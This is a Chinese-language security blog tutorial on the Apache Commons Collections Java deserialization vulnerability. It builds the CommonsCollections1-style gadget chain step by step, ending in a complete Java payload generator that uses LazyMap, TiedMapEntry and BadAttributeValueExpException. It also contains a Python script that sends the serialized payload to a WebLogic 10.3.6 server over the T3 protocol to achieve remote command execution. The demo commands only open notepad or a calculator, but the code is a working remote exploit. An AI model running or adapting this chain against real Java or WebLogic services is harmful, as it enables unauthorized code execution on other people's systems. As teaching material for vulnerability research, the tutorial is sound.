Commons Collections 反序列化入门

  • A+
所属分类:安全文章

tags: javasec

前言

结合经典的Commons Collections反序列化漏洞来深入理解下反序列化的实际利用场景。

基础知识

Commons Collections

Commons Collections 在 jdk1.2 就引入的一个 jar 包,提供的强大的数据结构支持,在很多实际项目中都很常见。

序列化与反序列化

  • 序列化:将对象写入到IO流中,创建一个 ObjectOutputStream 输出流,调用 ObjectOutputStream 对象的 writeObject() 输出可序列化对象。

  • 反序列化:从IO流中恢复对象。创建一个 ObjectInputStream 输入流,调用 ObjectInputStream 对象的 readObject() 得到序列化的对象。

序列化机制允许将实现序列化的 Java 对象转换位字节序列,这些字节序列可以保存在磁盘上,或通过网络传输,在需要的场景下再恢复成原来的对象。序列化和反序列化函数本身不存在漏洞,但是如果在序列化数据可控的情况下进行了反序列化就可能带来任意代码执行。

反射

根据前面的学习,反射就是灵活的获取并使用Class

Transformer

Transformer是一个特殊的接口,其中定义的 transform() 函数用来将一个对象转换成另一个对象。

public interface Transformer {
    Object transform(Object var1);
}

本地有前提利用

首先我们先本地试试利用 Commons Collections来实现命令执行。

InvokerTransformer

InvokerTransformer 类实现了 Transformer和 Serializable ,其中关键部分的代码如下:

// 构造方法
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}
……
// 反射调用method关键代码
public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            // 当input是一个类的实例对象时,获取到的是这个类
            // 当input是一个类时,获取到的是java.lang.Class
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

java做命令执行的一般形式如下:

java.lang.Runtime.getRuntime.exec("cmd");

通过 InvokerTransformer 的反射链我们可以对应的构造如下的输入来形成命令执行的语句:

Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
this.iMethodName="exec"
this.iParamTypes=String.class
this.iArgs="notepad.exe"

而刚好上面的 InvokerTransformer 就有对 iMethodNameiParamTypesiArgs 的赋值操作,简单写个直接调用InvokerTransformer 的实例:

public class testInvokeTransformer {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        InvokerTransformer test = new InvokerTransformer(
            "exec",
            new Class[]{String.class},
            new String[]{"notepad.exe"});
        Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
        test.transform(input);
    }
}

运行即可运行本地记事本。

ChainedTransformer

ChainedTransformer会实例化传入的Transformer类型的数组,调用其transform方法挨个调用数组中对象的transform方法,并将返回值做为下一次调用对象方法的参数,第一个对象调用transform方法时的参数是用户传入的。

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

利用 ChainedTransformer 和前面的 InvokerTransformer 也可以实现命令执行:

Transformer[] transformers = new Transformer[] {
    new InvokerTransformer("exec",
        new Class[] {String.class },
        new Object[] {"notepad.exe"})
};

Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Runtime.getRuntime());

这里可以跟进下这个 demo 的执行过程,首先是完成 transformers 数组的初始化,然后使用 new 创建一个实例对象,接下来传入 Runtime.getRuntime() 来调用ChainedTransformer 的 transform 方法,进到 for 循环里面。transformers 数组就 1 个 InvokerTransformer 的对象实例,对应的它就会去执行 InvokerTransformer 的 transform 方法完成反射调用。

反序列化利用

接下来再按照实际场景比较常见的反序列化的利用方式实现:

        Transformer[] transformers = new Transformer[] {
            new InvokerTransformer("exec",
                new Class[] {String.class },
                new Object[] {"notepad.exe"})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        //transformerChain.transform(Runtime.getRuntime());
        //System.out.println(Runtime.getRuntime());

        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(transformerChain);

//服务端反序列化payload读取
        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化成ChainedTransformer格式,并在服务端自主传入恶意参数input
        Transformer transformerChain_now = (ChainedTransformer) fin.readObject();
        transformerChain_now.transform(Runtime.getRuntime());

不过这里有点太过于一厢情愿了,存在于以下 2 个利用前提:

  1. 执行 transform 带上了 Runtime.getRuntime() 参数;

  2. 反序列化数据执行了 transform

现在先减少一个前提,把 getRuntime() 放到反序列化数据中去试试。这就需要用到另外一个transformConstantTransformer

ConstantTransformer 干掉前提1

ConstantTransformer 类既实现了 Transformer也实现了 Serializable ,它的构造函数会将传入参数定义为类的变量,然后 transform 又返回,可以理解为给啥就回啥。

public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}

public Object transform(Object input) {
    return this.iConstant;
}

那我们就可以把 Runtime 实例写入ConstantTransformer的变量中,然后将其 ChainedTransformer 对象的第一个参数,最后形成的片段如下:

  Transformer[] transformers = new Transformer[] {
            //以下两个语句等同,一个是通过反射机制得到,一个是直接调用得到Runtime实例
            // new ConstantTransformer(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))),
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec"new Class[] {String.class }, new Object[] {"notepad.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        //transformerChain.transform(Runtime.getRuntime());
        //System.out.println(Runtime.getRuntime());

        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(transformerChain);

//服务端反序列化payload读取
        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化成ChainedTransformer格式,并在服务端自主传入恶意参数input
        Transformer transformerChain_now = (ChainedTransformer) fin.readObject();
        transformerChain_now.transform(0);

接下来再继续尝试将payload反序列化操作:

Transformer[] transformers = new Transformer[] {
    //以下两个语句等同,一个是通过反射机制得到,一个是直接调用得到Runtime实例
    // new ConstantTransformer(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))),
    new ConstantTransformer(Runtime.getRuntime()),
    new InvokerTransformer("exec"new Class[] {String.class }, new Object[] {"notepad.exe"}),

};
Transformer transformerChain = new ChainedTransformer(transformers);
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(transformerChain);

//服务端反序列化payload读取
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化成ChainedTransformer格式,并在服务端自主传入恶意参数input
Transformer transformerChain_now = (ChainedTransformer) fin.readObject();
transformerChain_now.transform(null);

结果因为Runtime没有实现Serializable而序列化失败。

Exception in thread "main" java.io.NotSerializableException: java.lang.Runtime

所以目前直接写入Runtime实例的办法是行不通了,需要在transforms中利用ChainedTransformer 的循环调用与InvokerTransformer的反射 。反射调用Runtime的一句话如下:

        Class.forName("java.lang.Runtime")
            .getMethod("exec", String.class)
            .invoke(Class.forName("java.lang.Runtime")
                .getMethod("getRuntime")
                .invoke(Class.forName("java.lang.Runtime")),"notepad.exe");

具体逻辑如下:

  • 首先传入 Runtime 类作为数组第一位,经过第一轮 for 循环,返回的的 Runtime 类作为输入参数到第二轮 for 循环;

  • 第二轮循环就得进入到 InvokeTransformer 里面进行反射,构造函数进行初始化传入的 iMethodName参数是 getMethod ,iArgs 参数是 getRuntime() ,利用反射调用生成了一个方法 java.lang.Runtime.getRuntime() 接下来就使用这个方法继续作为参数进到下一次 transform 函数;

  • 第三轮循环里传入的 iMethodName 参数是 invoke,通过反射调用最终在 InvokeTransformer 里面返回一个 Runtime 的对象,接下来这个对象会作为 input 参数被传到下一次的执行中。

  • 第四轮的inputRuntime的实例对象,可以直接调用exec,因此传入 iMethodName 参数是 execiArgs 是 notepad.exe 。

自此为止,经过 4 轮调用之后,就可以成功的利用反射加载 Runtime 并实现命令执行啦,将 3 次在InvokerTransformer 中执行 transform 的过程简单化的结果如下:

        //第二轮for循环
        // new InvokerTransformer("getMethod",
        //                    new Class[] {String.class, Class[].class },
        //                    new Object[] {"getRuntime", new Class[0] }),
        //a就是input
        Class a = Class.forName("java.lang.Runtime");
        Class cls2 = a.getClass();
        Method method2 = cls2.getMethod("getMethod"new Class[] {String.class, Class[].class });
        Object for2 = method2.invoke(a,new Object[] {"getRuntime"new Class[0] });
        // 第三轮for循环
        // new InvokerTransformer("invoke",
        //                    new Class[] {Object.class, Object[].class },
        //                    new Object[] {null, new Object[0] })
        // b就是input
        Method b = (Method) for2;
        Class cls = b.getClass();
        Method method = cls.getMethod("invoke", Object.class, Object[].class);
        Object ma = method.invoke(b, new Object[]{nullnew Object[0]});
        System.out.println(ma.toString());
        Runtime arun =Runtime.getRuntime();
        //第四轮for循环
        // new InvokerTransformer("exec",
        //                    new Class[] {String.class },
        //                    new Object[] {"notepad.exe"})
        ma.getClass().getMethod("exec", String.class).invoke(ma, "notepad.exe");

解决了反序列化与命令执行的问题了,接下来就得找执行 transform 函数的利用链了。

LazyMap 干掉前提2

ysoserial为例,其中的 CommonsCollections1 的 gadgets 利用的是 LazyMap ,在 orgapachecommonscollectionsmapLazyMap.class 中关键的2个函数如下:

protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    } else {
        this.factory = factory;
    }
}

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

这里可以直接传入参数到 LazyMap 的构造函数其中factory参数设为ChainedTransformer,然后调用 get 就会实现调用对应对象的 transform 方法,问题又来到了找调用 get 方法的函数了。

在 TiedMapEntry 类中的 toString 方法会调用 getValue 方法,而 getValue 就有调用 get 方法,所以这里如果想要自动化的完成反序列化的触发只需要使用 System.out.println 来打印一下反序列化的值就可以完成 transform的自动触发。

Commons Collections 反序列化入门


为了彻底的干掉前提 2 就得想办法找会自动调用 toString 的方法,在BadAttributeValueExpException 中的readObject方法代码片段如下:

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val"null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

可以看到在第二个 if-else 块里面会调用 toString 方法,这里我们只需要确保不调用setSecurityManager或者setSecurityManager0 即可确保getSecurityManager的返回值是null从而进入到对应的if-else块。

要利用BadAttributeValueExpException 还得用反射将val的值设置为前面我们TiedMapEntry的实例对象,最终的payload如下:

          Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime"new Class[0]}),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{"exec"new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"/usr/bin/gnome-calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,entry);

        FileOutputStream fout = new FileOutputStream("payload.bin");
        ObjectOutputStream obout = new ObjectOutputStream(fout);
        obout.writeObject(badAttributeValueExpException);

        //服务端反序列化payload读取
        FileInputStream fin = new FileInputStream("payload.bin");
        ObjectInputStream obin = new ObjectInputStream(fin);
        //服务端反序列化成ChainedTransformer格式,并在服务端自主传入恶意参数input
        obin.readObject();
        obin.close();

远程利用完成

自此,我们已经完成了利用链的分析构造,可以直接利用这个模板来进行序列化payload传递给某些反序列化场景进行利用了。这里用 weblogic 10.3.6 来做反序列化触发,搭好weblogic之后访问 http://x.x.x.x:7001/console/login/LoginForm.jsp 出现登录界面就算搭建成功。在这个版本默认会开启 t3 协议,我们可以直接使用t3协议把我们序列化好的数据发送过去,weblogic 进行反序列化之后就会实现命令执行。

t3 协议利用脚本如下:

#!/usr/bin/python
import socket
import sys
import struct

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server_address = ("x.x.x.x"7001)
print 'connecting to %s port %s' % server_address
sock.connect(server_address)

# Send headers

headers='t3 12.2.1nAS:255nHL:19nMS:10000000nPU:t3://us-l-breens:7001nn'
print 'sending "%s"' % headers
sock.sendall(headers)

data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data

payloadObj = open("./payload.bin",'rb').read()

payload='x00x00x09xf3x01x65x01xffxffxffxffxffxffxffxffx00x00x00x71x00x00xeax60x00x00x00x18x43x2exc6xa2xa6x39x85xb5xafx7dx63xe6x43x83xf4x2ax6dx92xc9xe9xafx0fx94x72x02x79x73x72x00x78x72x01x78x72x02x78x70x00x00x00x0cx00x00x00x02x00x00x00x00x00x00x00x00x00x00x00x01x00x70x70x70x70x70x70x00x00x00x0cx00x00x00x02x00x00x00x00x00x00x00x00x00x00x00x01x00x70x06xfex01x00x00xacxedx00x05x73x72x00x1dx77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex43x6cx61x73x73x54x61x62x6cx65x45x6ex74x72x79x2fx52x65x81x57xf4xf9xedx0cx00x00x78x70x72x00x24x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex50x61x63x6bx61x67x65x49x6ex66x6fxe6xf7x23xe7xb8xaex1exc9x02x00x09x49x00x05x6dx61x6ax6fx72x49x00x05x6dx69x6ex6fx72x49x00x0bx70x61x74x63x68x55x70x64x61x74x65x49x00x0cx72x6fx6cx6cx69x6ex67x50x61x74x63x68x49x00x0bx73x65x72x76x69x63x65x50x61x63x6bx5ax00x0ex74x65x6dx70x6fx72x61x72x79x50x61x74x63x68x4cx00x09x69x6dx70x6cx54x69x74x6cx65x74x00x12x4cx6ax61x76x61x2fx6cx61x6ex67x2fx53x74x72x69x6ex67x3bx4cx00x0ax69x6dx70x6cx56x65x6ex64x6fx72x71x00x7ex00x03x4cx00x0bx69x6dx70x6cx56x65x72x73x69x6fx6ex71x00x7ex00x03x78x70x77x02x00x00x78xfex01x00x00'
payload=payload+payloadObj
payload=payload+'xfex01x00x00xacxedx00x05x73x72x00x1dx77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex43x6cx61x73x73x54x61x62x6cx65x45x6ex74x72x79x2fx52x65x81x57xf4xf9xedx0cx00x00x78x70x72x00x21x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex50x65x65x72x49x6ex66x6fx58x54x74xf3x9bxc9x08xf1x02x00x07x49x00x05x6dx61x6ax6fx72x49x00x05x6dx69x6ex6fx72x49x00x0bx70x61x74x63x68x55x70x64x61x74x65x49x00x0cx72x6fx6cx6cx69x6ex67x50x61x74x63x68x49x00x0bx73x65x72x76x69x63x65x50x61x63x6bx5ax00x0ex74x65x6dx70x6fx72x61x72x79x50x61x74x63x68x5bx00x08x70x61x63x6bx61x67x65x73x74x00x27x5bx4cx77x65x62x6cx6fx67x69x63x2fx63x6fx6dx6dx6fx6ex2fx69x6ex74x65x72x6ex61x6cx2fx50x61x63x6bx61x67x65x49x6ex66x6fx3bx78x72x00x24x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex56x65x72x73x69x6fx6ex49x6ex66x6fx97x22x45x51x64x52x46x3ex02x00x03x5bx00x08x70x61x63x6bx61x67x65x73x71x00x7ex00x03x4cx00x0ex72x65x6cx65x61x73x65x56x65x72x73x69x6fx6ex74x00x12x4cx6ax61x76x61x2fx6cx61x6ex67x2fx53x74x72x69x6ex67x3bx5bx00x12x76x65x72x73x69x6fx6ex49x6ex66x6fx41x73x42x79x74x65x73x74x00x02x5bx42x78x72x00x24x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex50x61x63x6bx61x67x65x49x6ex66x6fxe6xf7x23xe7xb8xaex1exc9x02x00x09x49x00x05x6dx61x6ax6fx72x49x00x05x6dx69x6ex6fx72x49x00x0bx70x61x74x63x68x55x70x64x61x74x65x49x00x0cx72x6fx6cx6cx69x6ex67x50x61x74x63x68x49x00x0bx73x65x72x76x69x63x65x50x61x63x6bx5ax00x0ex74x65x6dx70x6fx72x61x72x79x50x61x74x63x68x4cx00x09x69x6dx70x6cx54x69x74x6cx65x71x00x7ex00x05x4cx00x0ax69x6dx70x6cx56x65x6ex64x6fx72x71x00x7ex00x05x4cx00x0bx69x6dx70x6cx56x65x72x73x69x6fx6ex71x00x7ex00x05x78x70x77x02x00x00x78xfex00xffxfex01x00x00xacxedx00x05x73x72x00x13x77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex4ax56x4dx49x44xdcx49xc2x3exdex12x1ex2ax0cx00x00x78x70x77x46x21x00x00x00x00x00x00x00x00x00x09x31x32x37x2ex30x2ex31x2ex31x00x0bx75x73x2dx6cx2dx62x72x65x65x6ex73xa5x3cxafxf1x00x00x00x07x00x00x1bx59xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffx00x78xfex01x00x00xacxedx00x05x73x72x00x13x77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex4ax56x4dx49x44xdcx49xc2x3exdex12x1ex2ax0cx00x00x78x70x77x1dx01x81x40x12x81x34xbfx42x76x00x09x31x32x37x2ex30x2ex31x2ex31xa5x3cxafxf1x00x00x00x00x00x78'

# adjust header for appropriate message length

payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])

print 'sending payload...'
sock.send(payload)

运行该脚本即可触发命令执行:


Commons Collections 反序列化入门




后续会在以此为基础进行ysoserial相关利用链的分析。

参考链接

https://xz.aliyun.com/t/7031

[https://github.com/Maskhe/javasec/blob/master/3.%20apache%20commons-collections%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.md](https://github.com/Maskhe/javasec/blob/master/3. apache commons-collections中的反序列化.md)

https://www.smi1e.top/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0%E4%B9%8Bapache-commons-collections/

https://www.cnblogs.com/litlife/p/12571787.html#commonscollections1

https://javasec.org/javase/DynamicProxy/DynamicProxy.html










本文始发于微信公众号(顺丰安全应急响应中心):Commons Collections 反序列化入门

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: